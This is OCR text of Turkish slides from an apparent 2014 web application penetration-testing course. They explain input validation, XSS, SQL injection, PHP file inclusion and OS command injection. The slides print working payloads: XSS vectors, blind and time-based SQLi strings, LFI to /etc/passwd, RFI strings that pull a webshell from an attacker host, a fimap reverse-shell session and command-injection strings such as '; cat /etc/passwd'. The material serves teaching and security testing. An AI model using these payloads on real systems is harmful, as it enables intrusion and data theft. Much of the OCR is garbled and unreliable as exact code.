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Girdi Denetimi

* Uygulama kullanmadan dnce bitun glvensiz
verilerin dogru bir sekilde denetlenmesidir.

* Bir cok saldiri cesidinin temelinde yetersiz girdi
kontrolU vardir;
— Cross Site Scripting
— SQL Injection
— Remote / Local File Inclusion
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1. Normalizasyon (Canonicalization)

* Bir dizginin en basit, en temel haline
cevrilmesidir.

* Ornek, asagidaki iki yol ayni dosyayi isaret
etmektedir;
/../]../]etc/passwd
[etc/passwd

* Karmasik ve kritik bir islemdir.
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Resultante Importante - URL Kodlama

/index.my?id=prm%2523

browser

v=getParam(“id”)

print v; // prints prm%23
s uygulama catisi

v=URLDecode(v);

print v; // prints prm#
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2. Beyaz Liste Girdi Denetimi

e Sadece iyi karakter veya karakter dizgilerinin
kabul edilmesidir.

* Guvenli ve tavsiye edilen girdi denetimidir.
e Ornekler;

— Kredi karti girdi alaninin gecerli kredi karti
numarasi olup olmadiginin kontrolu

— Eposta adresi girdi alaninin gecerli eposta olup
olmadiginin kontroli

Web Uygulama Pentest Egitimi © 2014 |Bilgi Guivenligi AKADEMISI | www.bga.com.tr



3. Kara Liste Girdi Denetimi

* Bilinen kotu karakter veya karakter dizgilerinin
reddedilmesidir.

* Cok kullanilan ama glivensiz girdi denetimidir.

e Ornekler;
— <script> gecen girdilerin reddedilmesi
— or 1=1 -- gecen girdilerin reddedilmesi
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4. Temizleme Islemi (Sanitize)

* Girdinin kabul edilebilir bir formata
cevrilmesidir.
* Beyaz liste mantigli ile sanitize

— Orn: Telefon numarasi icinde gecen sayi, olmayan
karakterlerin silinmesi

e Kara liste mantigi ile sanitize

— Orn: Adres girdisinin icindeki bitin tek tirnak
karakterlerinin silinmesi
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5. Encoding Islemi

* Girdi icindeki 6zel karakterlerin baska bir
formata degistirilmesidir.

 Amagc, hedef yorumlayici icin 6zel karakterlerin
kodlama islemi sonrasi 6nemlerini yitirmis
olmalaridir.

e Ornek;
— HTML kodlama
— URL kodlama
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6. Escape Islemi

* Yorumlayiciya gitmeden gerceklestirilen
karakter format degisikligidir.

 Cogu durumda kodlama ile ayni anlamdadir.
e Ornek;

— Oracle veritabaninda calisacak SQL sorgularinda
tek tirnak karakterlerinin iki tek tirnak ile
degistirilmesiyle, sorgu yapisinin degistirilmesi
engellenebilir.
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Cogu Zafiyetin Kokeni
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Kod ve Verinin Karistirilimasi

verl

kod

A = "select * from users where id ="
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Kod ve Verinin Karistirilimasi

verl

kod
A ="/opt/myapp/startcmd.sh --str
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Kod ve Verinin Karistirilimasi

verl

A = "Siparisinizin hazirlanma siresi ";
eval(A);

</script>
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XSS Nedir?

Uygulama

Browser
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Cross Site Scripting - XSS

* Html/dhtml/css veya javascript kodunun
izinsiz olarak kurbanin tarayicisinda
calistirilmasidir.

* Uc genel XSS cesidi mevcuttur;
— Reflected
— Stored
— DOM Based
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Reflected XSS

saldirgan

1. K6tu amacla olusturulmus bir link

kullan|C|

3. Kurcalanmig HT@& 2. Kurban kotu amaglh linke tiklar

sunucu
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Stored XSS - Senaryo

saldirgan ‘

1. Kotu amagla olusturulmus bir istek

sunucu

kullanici kullanici kullanici kullanici
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DOM Based XSS - Senaryo

saldirgan ‘

1. Kotu amagla olusturulmus bir link

.‘r 4. istemci tarafli kod calisir

kullanici

3. Temiz HTMLiJretirv<llar 2. Kurban koétu amach linke tiklar

sunucu
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XSS - MySpace Worm

Profilimi Getir— ‘
_-Asamy] Profil
l
Profilimi Degistir————— i

javascript
[13 Pt Profil

_ myspace veritabani

saldirgan , ——
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XSS - MySpace Worm

Samy’nin Profilini
Gormek Istiyortm &
. Samy’nin Profili ‘
v _[javascript]
A
Samy’nin Profilini i
= ¢.....Arkadas Olarak Ekle...p ,
kurban1 myspace veritabani
Kendi Profilini Yenile
¢ [javascript] s
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XSS - MySpace Worm

Profilini Gt?__r_meh'i's't_ifurum
Zehirli Profili
e _[javascript]

fehirlenmis Birisinin ‘
o &

Samy’nin Profilini

&.....Arkadas QOlarak Ekle....p )
kurbanX myspace verita bam‘
Kendi Profilini Yenile ‘
foeereeenneeens [Javascript]............. -
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XSS - MySpace Worm

MySpace Worm Propagation
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XSS - Diger Wormlar

Orkut
Justin.tv
Yahoo! Mail
Facebook
Twitter
Reddit
Digg
MySpace
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XSS - Neden Oldugu Problemler

Bilgi Hirsizlig
— Oturum Korsanligi
— Clipboard Veri Calma, Tus Yakalama, Ekran Calma

Icerik Degisikligi (Defacement)

Gecmis Tarama, Port Tarama

Dahili IP Calma, Web Spidering, XSS Botnet
Aciklik Tarama, Worm
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XSS - Istatistikler

Conent
Spoofing
14%

Cross-Site
Scripting
50%

SQL Injection
4%

Response 51
3%
|Imsufficient
Authorization
Information
Leakage Other Predictable

9% 8%

Web Uygulama Pentest Egitimi © 2014 |Bilgi Guivenligi AKADEMISI | www.bga.com.tr



XSS - Temel Test Teknigi - Analiz

1. XSS icin denetlenecek parametre belirlenir

2. Bu parametreye abcde gibi basit bir deger
verilerek istek yapilir

3. Cevap icerisinde abcde nerelerde geciyor
hesaplanir.

— HTML

— HTML Attribute
— Javascript

— URL
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XSS - Temel Test Teknigi - Test

1. Analiz sonucu parametre degeri olarak uygun
payload goénderilir,

2. Cevabin icinde payload aranir,

3. Bulundugunda sayfa icinde payload uygun
kodlama isleminden gecirilmemis ise XSS
glUvenlik zafiyetinden bahsedilir.
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XSS - Payload 1

<plaintext>
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XSS - Payload 1 - Ornek

My Name I<p|aintex1>| REMEMBER | G

You are a

</center>
</body>
</html>
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XSS - Payload 2

'“prompt(String.fromCharCode(88,83,83))//\';
prompt(String.fromCharCode(88,83,83))//";
prompt(String.fromCharCode(88,83,83))//\";
prompt(String.fromCharCode(88,83,83))//--

></ScRIPT>">'><ScRIPT>
prompt(String.fromCharCode(88,83,83))</ScRlI
PT>
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XSS - Payload 3

*1--"<abe>=&{()}
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Raw Echo - Payload

1. Vector |

Hints are disabled Try out: |abcde
You entered: abcde

a 1. Vector |

Hints are disabled Try out: |<script-prompt{1)</script>
You entered:
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HTML Attribute - Payload

0 2. Vector |l

Hints are disabled Try out: |colorblue
Stylish span

2. Vector |l

Hints are disabled Try out: |",f::-iscript:-aler’[f,.f:-:aSf.snurcejﬁfscript::c:
Stylish span
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HTML Attribute Interactive - Payload

o 3. Vector Il

Hints are disabled Try out: |colorgreen
Stylish span

a 3. Vector lli

Hints are disabled Try out: |" onmouseover=alert{1}"
Stylish span
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Javascript Injection - Payload

G 4. Vector IV

Hints are disabled Try out: |abcde
abcde

4. Vector IV

Hints are disabled Try out: |"~ifscript=w:scriptbalertU)iSSf.snurce]ﬂfscript:c:script:wrar:-:="
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innerHTML ByPass - Payload

G 5. Vector V

Hints are disabled Try out: |abcde
abcde

9 5. Vector V

Hints are disabled Try out: |<img onerror=alert(1) src= />

=
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CSS — Internet Explorer - Payload

7. Yector Vi

Hints are disabled Try out: |yellow
This is dynamic backgrounded span

a 7. Yector Vi

Hints are disabled Try out: |expression{alert(1))
This is dynamic backgrounded span
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DOM Based XSS

|[:'j DOM Based XS5 Demo | -+ |
+ 1922, 168. 1. 42/dombasedfindex. php?name =HAKKI L | @ ﬁ‘ ﬂ"’ | -
| :I
Welcome to our site HAKKI! :’
& L»¢J| £ o | = || ‘I:ﬂn... HTML (S5 Script DOM | Net = | »r SEE
i | Clear Persst || Al HML €55 15 XHR Images Flash  Media
URL Status Domain Size Remote IP Timeline
- GETindex.p 200 OK 192.168.1.42 465B 192.168.1.42:80 [ 3ms
Params Headers Response Cache HTHML Cookies
name HAEEEL Sunucuya giden parametre
1 request 465 B Ims (onload: 40ms)
x 4 =
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DOM Based XSS

<body>
<script>
Tunction printName () {
var index = document.UERL.length;
if (document .UERL.indexCf ("name=") 1= -1}
index = document.URL.indexOf ("name=")+5;
S/ insecure wversion
document ..write (unescape (document .UJEL. substring (index, dos
W

ffdocument..write (unescape (document . URL. substring (index, ¢
}

< /script>

<br/>
<br/>
<P align=center style="font-=size:24">

Welcome to our sSite <script»printHame () ;</scripts>!«</BODY>
HTHML.>
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DOM Based XSS

| DOM Based XSS Demo | + |
6 192, 168, 1. 42/dombased findex, php #name =PREKAZI - | @ ﬁ ﬂ" o |-
- | ﬂ
Welcome to our site PREKAZI!
ﬂ
- 1 —
!‘-Lw‘( ¢‘=|'|*):ﬂn... HTML (S5 Script DOM | Met = | P BEE
| clear persist || Al HML cSs 35 XHR  Images Flash  Media
URL Status Domain Size Remote IP Timeline -
= GET index.f 200 0K 192.1658.1.42 4556 192.165.1.42:80 10ms
Headers Response HTML Cookies
Response Headers  Sunucuya giden parametre yok!
Cache-Control no-store, no-cache, must-revalidate, post—-check=0, pre-check=0
Connection Eeep—2live
Content-Encoding g=zip
Content-Length 4£&5
Content-Type text/html
Date 5Sun, 07 Oct 2012 11:14:58 EMT
Conremim e T A0 KTe=m=r 14001 A0 -CT - ST il
1| | b
x &3 @
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DOM Based XSS

| | DOM Based %55 Demo | + |

é 192, 168. 1.42/dombased findex. php#name = <scipt =alert{1) < fscript = L | @ *ﬁ* n" o |
- :I

Welcome to our site !

-
®- g ‘ < o ‘ = | *Lm... HTML CSS Script DOM | Net v | P SHEC
i | Cear Persist || Al HTML €S5 35 XHR Images Flash  Media

URL Status Domain Size Remote IP Timeline =
=I GET script® 200 Ok 192,168.1.42 4498 152.168.1.42:80 |
Headers Response HTML Cookies
Response Headers  SUNUCUYa giden XSS String yok!
Cache-Control noc-store, no-cache, must-revalidate, poat-check=0, pre-check=0
Connection Eeep-LZliwve
Content-Encoding g=zip
Content-Length 443
Content-Type text/html
Date Sun, 07 COct 2012 11:34:5% EMT
Crrmamam— Th1a 140 Bleaer 149509 a2 -7 -fn T JLI
b
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SQL Injection Nedir?

* SQL Injection;
— Saldirganlar icin en popller,
— Gelistiriciler icin en bilindik,
— |s sahipleri icin en tehlikeli
* Hedef veritabaninda uygulama yolu ile yetkisiz
olarak sqgl sorgularinin calistirilabilmesidir.
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SQL Injection - Senaryo

Dinamik bir SQL sorgusu

Normal bir degisken degeri

Anormal bir degisken degeri: SQL Enjeksiyonu

100 OR 2>1
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SQL Injection

HI, THIS 15

YOUR SON'S SCHOOL.

WE'RE HAVING SOME
(OMPUTER TROUBLE.

\%m

OH, DEAR - DID HE
BREAK SOMETHING?

IN H‘I.-.I’P.Y /

St

DID YOU REALLY
NAME YOUR SON
Robert'); DROP
TABLE Stwderts; -~ 7

~OH.YES UTTLE
RBOBBY TABLES,
WE CALL HIM.

WELL, WE'VE LOST THIS
YEAR'S STUDENT RECORDS.
T HOPE YOURE HAPPY.
‘I] AND I HOFE
= YOUVE LEARNED
TO SANMIZE YOUR
DATARASE INPUTS.
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SQL Injection

DATABASE TABL

—
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SQL Injection

[t's not fun when you're next!

Ever underestimate
@) mantra
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SQL Injection ile 2012

rds
Hackers reveal 453,000 Yahoo passwo

Sony my
sic
Injection f,, y;’apan ha

6.5 Million L j
. nkedin y
Possibly Exposed s

SQL Injection Vulnerability Used to Deface Israeli
Microsoft Sites, Hacker Says
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SQL Injection - Istatistikler

(1S)7)
0
0 0
11% & 10% @ 10%
Cross-Site  Information Content Insufficient Cross-Site Brute Force  Predictable SQL Injection Session Insufficient
Scripting Leakage Spoofing  Authorization  Request Resource Fixation Session
Forgery Location Expiration
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SQL Injection - Istatistikler

Table 8. Top 10 Threat Action Types by number of breaches and records - LARGER ORGS

Overall
Rank | Rank Variety Category Breaches Records
1 3 Useofstolenlogin credentials 30% 84%
i 6 |Backdoor (zllows remote access/control) Malware 18% 51%
3 7 |Exploitation of backdoor or command and control channel 17% 51%
4 8  |Tampering Physical 17% <1%
5 1 |Keylogger/Form-grabber/Spyware (capture data from user activity) Malware 13% 36%
6 11 |Pretexting (classic social engineering) 12% <1%
7 5 |Brute force and dictionary attacks 8% <1%
8 15 SQLinjection 8% 1%
9 20 | Phishing (or any type of ishing) 8% 38%
10 | 22 |Command and control (listens for and executes commands) Malware 8% 36%
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SQL Injection Cesitleri

* Olma seklinden
— Integer
— String
* Saldiri Perspektifinden
— Kor (Blind)
— Zaman Tabanl
— Union
— Hata Tabanl
— Out of Band
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Integer SQL Injection - Test Teknikleri

/urundetay.aspx?id=5

select * from products where id=5

[Orijinal Cevap \
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Integer SQL Injection - Test Teknikleri

/urundetay.aspx?id=5’

select * from products where id=5’
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Integer SQL Injection - Test Teknikleri

/urundetay.aspx?id=5 waitfor delay ‘00:00:05’ --

select * from products where id=5 waitfor delay ‘00:00:05’ --

[Orijinal Cevap \
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Integer SQL Injection - Test Teknikleri

’ 6rijina| Cevap )
urundetay.aspx?id=5

select * from products where id=5

/urundetay.aspx?id=5 and 5=5

select * from products where id=5 and 5=5

urundetay.aspx?id=5 and 5=6

U J

6rijina| Cevap )

select * from products where id=5 and 5=6
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String SQL Injection - Test Teknikleri

/goster.do?isim=muro

select * from users where name=‘muro’

[Orijinal Cevap \
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String SQL Injection - Test Teknikleri

/goster.do?isim=muro’

select * from users where name=‘muro”’
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String SQL Injection - Test Teknikleri

/goster.do?isim=muro’ and SLEEP(5) %23

select * from users where name=‘muro’ and SLEEP(5) #’

[Orijinal Cevap \
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String SQL Injection - Test Teknikleri

— 6rijina| Cevap N
/goster.do?isim=muro

select * from users where name=‘muro’ X y

6rijina| Cevap )

goster.do?isim=muro’ and ‘5’=‘5

select * from users where name=‘muro’ and ‘5’=‘5’

/goster.do?isim=muro’ and ‘5’=‘6

select * from users where name=‘muro’ and ‘5’=6’

Web Uygulama Pentest Egitimi © 2014 |Bilgi Guivenligi AKADEMISI | www.bga.com.tr



Blind SQL Injection Teori - MySQL

version() Veritabani
Versiyonu

Veritabani
Versiyonunun
Yedinci Karakteri

Versiyonun
Yedinci Karakterinin
ASCII Degeri
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Kor SQL Injection

63
1 | 127

Jurundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 63

select * from products where id=5 and ord(mid(version(), 7, 1)) > 63

5.0.51b-community-nt

— /)
Y
g \; ),
6rijina| Cevap \ 98
N\ )
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Kor SQL Injection

I95
63 | 127

Jurundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 95

select * from products where id=5 and ord(mid(version(), 7, 1)) > 95

5.0.51b-community-nt

- /)
Y
g \; Y,
6rijina| Cevap \ 98
N\ )
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Kor SQL Injection

I111
95 I 127

/urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 111

select * from products where id=5 and ord(mid(version(), 7, 1)) > 111

5.0.51b-community-nt

_ Y,
~
g \; Y,
4 N 98
U 4
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MySQL Escape -\

o Tt

NULL
1] \Il
% \%

1 \l
\ \\
_ \_
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MySQL Escape - Hata

Suser =
|f(|sset(S_GET['user']))
Suser =S_GET['user'];

SuserEsc = str_replace( Suser)
Sq = "SELECT * FROM users where u ="' . SuserEsc . """;

Sresult = mysqgl_query($q);
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Code Injection

e Saldirganin hedef web uygulamasi tGzerine
zararli kod veya kod parcacigl eklemesidir.

* BuylUk cogunlukla PHP tabanli uygulamalar da
bulunsa da JEE/ASP.NET uygulamalarinda da
gormek mumkuandur.
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PHP Include

* Karmasik kodlari daha iyi yonetebilmek icin
modulariteyi arttirmak amaci ile PHP
catisinda, bir PHP dosyasina baska bir PHP
dosyasinin dahil edilmesi 6zelligi vardir.

* Buislem icin asagidaki fonksiyonlar kullanilir
— include(dosya ismi)
— require(dosya ismi)
— include_once(dosya ismi)
— require_once(dosya ismi)
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PHP Include - Ornek

index.php

<html>
<body>
<?php include 'header.php’; ?>
<h1>Merhaba <?php echo Suser ?>
Ana sayfaya Hosgeldiniz...</h1>

header.php

<?php
Suser =S_SESSION[‘user’];
>
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PHP Include - Ornek

index.php

<html>
<body>
<?php
Suser =S_SESSION[‘user’];
>
<h1>Merhaba <?php echo Suser ?>
Ana sayfaya Hosgeldiniz...</h1>

header.php dosyasi icerigi
kopyalandi ve

index.php dosyasina
yapistirildi.

Web Uygulama Pentest Egitimi © 2014 |Bilgi Guivenligi AKADEMISI | www.bga.com.tr



Code Injection - PHP

* PHP include/require fonksiyonlarina giden
parametre degerleri saldirganlar tarafindan
degistirilebilirse,

* Diger sistem ve uygulama dosyalari da

calistirilacak PHP dosyalari icine kopyalanip,
saldirgana cevap olarak doénebilir.
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Code Injection - Senaryo

/index.php?lang=tr <?php :
S > $language = $_ REQUEST[lang’];

include($language.”.php”);

index.php

?>
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Code Injection - Saldiri - LFI

/index.php?lang=/etc/paswd%00 2
- > <?php
$language = $ REQUEST"lang’];
include($language.”.php”

index.php

?>

/etc/passwd

root::
guvenlikod::
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Code Injection - Saldiri - RFI

o /index.php?lang=http://www.saldirgan.com/webshell.txt?
>

<?php
$language = $ REQUEST['lang’];
include($language.”.php”);
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Ornek Saldiri String’leri

RFI-Remote File Inclusion: Uzaktan kod ¢agirma/dosya dahil etme

http://saldirgan.com/

http://saldirgan.com/

LFl-Local File Inclusion: Server icinden kod ¢agirma/dosya dahil etme

..[../../uploads/

..J../../uploads/
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Diger Denetim Teknikleri

’file=.htaccess
content.php ?file=content.php
’file=../../../../../var/log/apache/error.log %00

’file=[http [ https[ftp]://saldirgan_sunucu/shell.txt%00
’file=data://text/plain;base64,SSBsb3ZIIFBIUAo=
’file=http://127.0.0.1/yol/xss.php ?param=phpkodu
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Fimap ile Otomatik RFI/LFI

 PHP uygulamalarinda otomatik RFI ve LFI
oulmak icin Python ile yazilmis bir aractir.

* http://code.google.com/p/fimap/
e >=Python 2.4
e Versiyon alpha 09
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Fimap - Ornek

python >=2.4gereksinimi

e,
.
IS
I
I
IS
I
IS
IS
.
IS
4
t,
a4

python fimap.py
-u  http://sunucu/index.php?pg=

Parametreler ile beraber ", Basarili saldiri sonrasi
denetlenecek URL interaktif bir oturum aciimasi
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Fimap - Reverse Shell

ARMIMG: Some domains may be not listed her
Choose Domain= 1 . _  [}&

- gz on Cwww.uvude . .com’

it a gttt a a0
#[1]1 URL: ’~AdvwaZsvulnerabilitiessfFis?page=|,,;
#[2]1 URL: ’~AdvwaZ svulnerabilitiessfisTpage= N
#[3] URL: *Awordpressswp—content splugins up :

g1 wyuan

###########################################

(R TRE NN, . .

- . — e - mcEr ek R e B e e R e —

Choose wulnerahle SEPlpt- 1
Fd A . T A FTALEITYL™S La ] TREL TR h | L] L] Fl L] _basr

[11:=54:351 [OUT1 PHP IHJEEtlﬂn works? Testi root

[11:508:35]1 [INF0O1 Testing Executlun thru ‘pf_ ]

[11:58:35]1 [OUT]1 Execution thru *popenlb64]]™c —+ F
gttt Lttt oo

#:: Available Attacks — PHP and SHELL acces]_pa=sn

8181318181013 18131018 8 31018 813101310 310131018 0 81018 08 08 08 nininia e intd . _33
#HI11 E]]EI.HI'I :F:i.ITI-EI.]] zhell _-._Zj.—\_u_-l:.'.-.'.'.f.'—ij.at-a_l - d= I:.".-.'.-.'.I
#L2]1 Spawn pentestmonkevy’s reverse shell sh: nmo job comntrol inm this
#lgl Quit sh-3.2% whoami

HAHNA A AR A A A A A A R )

Choose Attack: 2 Wi —data E;

IP Address to connect bhack to: www.saldirga sh-3

The Port it should connect bhack: 70HA

rMake Your NetTtcat Server ready and N1t enter
[11:=51:211 [WARN] <urlopen error timed out:
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OS Commanding

* Uygulamalar gelistirilirken isletim sistemi
komutlari calistirma ihtiyaci olabilir.

— Orn: Popiler komut satiri Unix/Linux/Windows
uygulamalarina web arayizi yazilmasi;

* iptables, asterisk, gmail, v.b.

* Yetersiz girdi kontroli nedeniyle saldirganin
hedef web uygulamasini kullanarak isletim
sisteminde komutlar calistirmasi OS
Commanding olarak adlandirilir.
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OS Commanding - On Bilgi

KOMUT SATIRI
ISLETIM SISTEMI

DONANIM
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OS Commanding - Unix - On Bilgi
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OS Commanding - Windows - On Bilgi

D:stest>dir .
Uolume in drive D is Data
Uolume Serial Humber is 26E5-H51B

Directory of D:istest

18.18.2812 18:26 <DIR>
18.18.2812 18:26 <DIR> -
B File(=>) B hytes
2 Divrdcs> 287.852.795.968 hbhytes free

Distest>
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OS Commanding - Unix - On Bilgi

grep com myfile.txt
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OS Commanding - Unix - On Bilgi

ping www.guvenlikod.com

|
LN

LN
I
LN
[N B o I Y

I 5

|
Ln

I 5

I
L L L LD

C.
wd
C.
wd
-
wd

(L% I L% [ %
LN

Ln

# ikod.com ping =statistics ——-
packets transmitted, 3 1ve D% packet
rtt min/avg/ max/mdev = '
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OS Commanding - Unix -

s -al | ping www.guvenlikod.com

I
a
|
Fu

rootEbt: :
PING guvenlikod.
64 bytes from
ttl=1
from
ttl=1
from
ttl=1

1

byvtes of data.
e.softlayer.com

|
¥

-] (a3 LD

OTn

w0
t
I %]
=

S

fd ==

.2oftlay

fd ==
H
=

LEa
1%

b
5 o

= .so0ftlay

3
wd
=
3
wd
=
3
wd
=

G n G n £ LN
LEa
1%

Pl =

3 packets transmitted,
rtt min/avg/max/mdev =
rootEbt: : I
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OS Commanding - Windows - |

dir C:\ | ping www.guvenlikod.com

D:stestddir Cin 1 ping wvww.guuenlikod.com

Pinging guvenlikod.com [15%2.253.139.1411 with 32 bytes of data:
Reply from 159.253.132.141: bytes=32 time=58m=s TTL=117%
Reply from 159.253.132.141: bytes=32 time=5%m=s TTL=117%
Reply from 159.253.132.141: bytes=32 time=5%m=s TTL=117%

Ping statistics for 159.253.139.141:

Packets: Sent = 3, Received = 3, Lozt = @0 {(8x loss),.
Approximate round trip times in milli—seconds:

Minimum = 57Pm=s, Maximum = 58ms. Average = 57ms
EE"tPDl_E
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OS Commanding - Unix - ;

s -al ; ping www.guvenlikod.com

aw.guvenlikod. com

17 14:58
17 14:58
17 14:58 myfile.txt
.141) S6(84) byte=s of data.
e.3o0ftlayer.com
.so0ftlayer.com
.2o0ftlayer.com

0

root root

root root

1 root root

PING guvenlikod.com (159.253
64 bytes from 159.
64 bytes from 159,
64 bytes from 1359,

o
o

(s s

L I R
BN

ot ot

L

Lad
I'\-
L

tnnoon
L i Ll
= = =
Cad Cad il L
TRl ==
= = =
th LN
TRl =D =
Fed [ R
LnLnoLn
Ll oS Ll

% I L R L

——— guvenlikod.com ping statistics
3 packets transmitted, 3 ive 0% packet lo=ss, time 2005ms=

rtt min/avg/ max/mdev = . ] / . 1/63.749,/0.743 m=
root@bt : ¥ I
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OS Commanding - Windows - &

dir . & ping www.guvenlikod.com

D:xtestxdir . & ping www.guvenlikod.com
Volume in drive D is Data
Uolume Serial Mumber is 26E5-851B

Directory of D:istest

18.16.2812 18:26 <DIR> -
18.168.28012 18:26 <DIR> .-
A File<s» A hytes
2 Dirds> 287.060.140.832 hytes free

Pinging guvenlikod.com [15%?.253.137.1411 with 32 bytes of data:
Reply from 15%2.253.139.141: hbytes=32 time=5Yms TTL=119%
Reply from 15%.253.139.141: bhytes=32 time=5%ms TTL=119%
Reply from 15%.253.139.141: hytes=32 time=5%ms TTL=119%

Ping statistics for 157.253.139.141:

Packets: Sent = 3, Heceived = 3, Lost = B8 (B loss),
Approximate round trip times in milli—seconds:

Minimum = 5Ymz,. Maximum = 57ms. Average = 5Yms
EEntPul—E

Web Uygulama Pentest Egitimi © 2014 |Bilgi Guivenligi AKADEMISI | www.bga.com.tr




OS Commanding - Unix -

s -al | | ping www.guvenlikod.com

Ln

L T i e

| TS T =)
PR
n

B

1=2: invalid option

T w11 ——Ta= 1 e

PING gur
&4 bvtes

= 0

o on K

S6({84) byte=s of data.
atic.reverse.softlayer.com

[¥]
[ I
4]

W I

Ly =

14l-=ztatic.reverse.softlayer.com
ms
1d4l-ztatic.reverse.softlayer.com

ms

TV T T T = I (R T

it
=1

]
o

L&
S
Ln

L =

P = PR3 = R
O Ln o Ln G Wn
[X]
] it
|
: g w2
M G M W M - =3
l
-] L

it
II
=1

]
o

3 packets transmitted, 3 0 t los=s, time Z2005ms=
rtt min/avg/max/mdev = 7 7/ T3/ 60 /1.569 ms=
root@bt: - I
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OS Commanding - Windows - | |

dir . | | ping www.guvenlikod.com

Do~test:xdir . 11 ping wuw.guuvenlikod.com

un 1“.'1'":- J..ll L:I’J."-"E g o prielg Fyel 1
Uolume Serial Humber i= 26E5-B51B

Directory of Divtest

18.18.2812 18:26 <DIR> .
18.18.2812 18:26 <DIR> .-
A File<=s> A huytes
2 Dirdcs>» 287.859_787.776 byt :2

D:stestrdira - 11 ping www.guvenlikod.com
‘dira’ 15 not recognizZed as an internal or external command.
operabhle program or bhatch file.

Pinging guuvenlikod.com [159.253.139.1411 with 32 hytesz of data:
Reply from 15%2.253.139.141: bytes=32 time=62ms TTL=11%
Reply from 15%9.253.139.141: bytes=32 time=56ms TTL=119%
Reply from 159.253.139.141: bytes=32 time=56ms TTL=119%

Ping statistics for 159.253.139.141:

Packetz: Sent = 3. Received = 3, Lost = 8 (Bx loss>,
Approximate round trip times in milli—seconds:

Minimum = 56m=z, Maximum = 62ms, Average = S58ms
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OS Commanding - Unix - &

s -al & ping www.guvenlikod.com

]
L

drwr

[ I T
]
e
LN

yvfile.t=xt
1} byvte= of data.
Boftlayer.com

T

rt

L 0

k]
1L

J=a

[
[
=1

it
H w

PING guvenliko
64 bytes from
ttl=1
from
ttl=1
from
ttl=1

LN o=s
= o un
M — M oG o
H
0] =]
m

Te
]

|

[
ot
Fu
ot
[

0
H
m

[ =]
= LN

2oftlay

Il
=

U I T R AL BT =

ot
g

M M WM - 0

i =t
G Ln G oLn LN .
L
3

L
F =

2oftlay

[

t

II

=
1]

=

4 packets transmitted,
rtt min/avg/max/ mdev =
[1]+ Done

-
rootidbt ¥ I
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OS Commanding - Unix - &&

s -al && ping www.guvenlikod.com

ping www.guvenlikod.com
root root 4096 17 14:58
root root 4096 17 14:58
1 root root 0 17 14:58 myfile.txt

PING guvenlikod.com (159.253.] .141) S6(84) byte= of data.
64 bytes from 159. ]
64 bytes from 159.
64 bytez from 159.

Sy

Lad Ll

I
Cad Ll Lol L
LEY LEJd  LEd

Fed BRI
LnoLnoLn

s et

3 packets transmitted, 3 1ve 0% packet loss, time 2005ms
rtt min/avg/max,/mdewv = L9789y L020/66.035/1.4549 m=
root@bt : ¥ I
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OS Commanding - Windows - &&

dir . && ping www.guvenlikod.com

D:stestpdir . && ping www.guvenlikod.com

Uolume “Lir Arive I is Taid
Uolume Serial Mumber is 26ES5-HA51B ]_

Directory of Divtest

18.18.26812 18:26 <DIR> .
18.18.26812 18:26 <DIR> .-
A File<s> A huytes
2 Dipc=> 287.0858.657.280 bhytes free

Pinging guvenlikod.com [159.253.132.1411 with 32 bytes of data:
Reply from 159.253.132.141: hytes=32 time=59ms TTL=119%
Reply from 15%.253.139.141: bhytes=32 time=5%6msz TTL=119%
Reply from 159.253.132.141: hytes=32 time=58ms TTL=119%

Ping statistics for 159.253.139.141:

Packetz: Sent = 3. Received = 3, Lost = @ (B loss),
Approximate round trip times in milli—=seconds:

Minimum = 56ms, Maximum = 5ms,. Average oy
Control-C
“C
D:~testdira . && ping www.guuvenlikod.com
‘dira’ is not recognized as an internal or external command.
operable program or batch file.
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OS Commanding - Tanim

* Uygulamalar gelistirilirken isletim sistemi
komutlari calistirma ihtiyaci olabilir.

— Orn: Popiler komut satiri Unix/Linux/Windows
uygulamalarina web arayizi yazilmasi;

* iptables, asterisk, gmail, v.b.

* Yetersiz girdi kontroli nedeniyle saldirganin
hedef web uygulamasini kullanarak isletim
sisteminde komutlar calistirmasi OS
Commanding olarak adlandirilir.
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OS Commanding - Senaryo

1. Komut

& —

4. Sayfa + Cevap

2. Komut

E—
<o

3. Cevap

UYGULAMA
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OS Commanding - Xerox WorkCentre

Index | Contents | Help...

Internet Services XEROX WORKCENTRE PRO

Properties

" Properties o
Description

» General Setup

hysical Connections

p
R‘rotocols Machine Model: Herox WorkCentre Pro I Multifunction System
« Sernvices Product Code/Serial Number: I
» Printing Machine Mame: [r—
b Netw?rl-c Scanning Location: |
» Machine Software

» Internet Messaging
b Xerox Services Apply Undo
p Custom Services
- Security

Authentication Server

IF Filtering

Audit Log

S50

IP Sec

Trusted Certificate Authaorities

XEROX
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OS Commanding - Xerox WorkCentre

function=HTTP IP_Restriction Update&Prot
ocol=tcp&Action=ACCEPT&Chain=INPUT&Int

erface=eth0&SourcelP=1.2.3.4&Dport=80&S
rcPort=443

iptables -A -p i -S -]
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OS Commanding - Xerox WorkCentre

function=HTTP IP_Restriction Update&Prot
ocol=tcp&Action=ACCEPT | ping
www.webguvenligi.org&Chain=INPUT&Interf
ace=eth0O&SourcelP=1.2.3.4&Dport=80&SrcP
ort=443

iptables -A -p | -S ]
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OS Commanding

public string executeCommand(String hostName) {

try {
String host = hostName;

Runtime rt = Runtime.getRuntime();

rt.exec("cmd.exe /C nslookup " + host);

}

catch(Exception e){
e.printStackTrace();

J
J
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OS Commanding - Istatistikler

Conent
Spoofing
14%

Cross-Site
Scripting
50%

50L Injection

Information

- Predictable Resource
L!:EIkEigE' Other Location

9% 8% 4%
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OS Commanding - Test Teknikler;

?id=; cat /etc/passwd

?id=; cat /../etc/X11/../passwd
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OS Commanding - Test Teknikler;

?id=] dir C:\
?id=]| dirC:\
?id= & dir C:\
?id= && dir C:\
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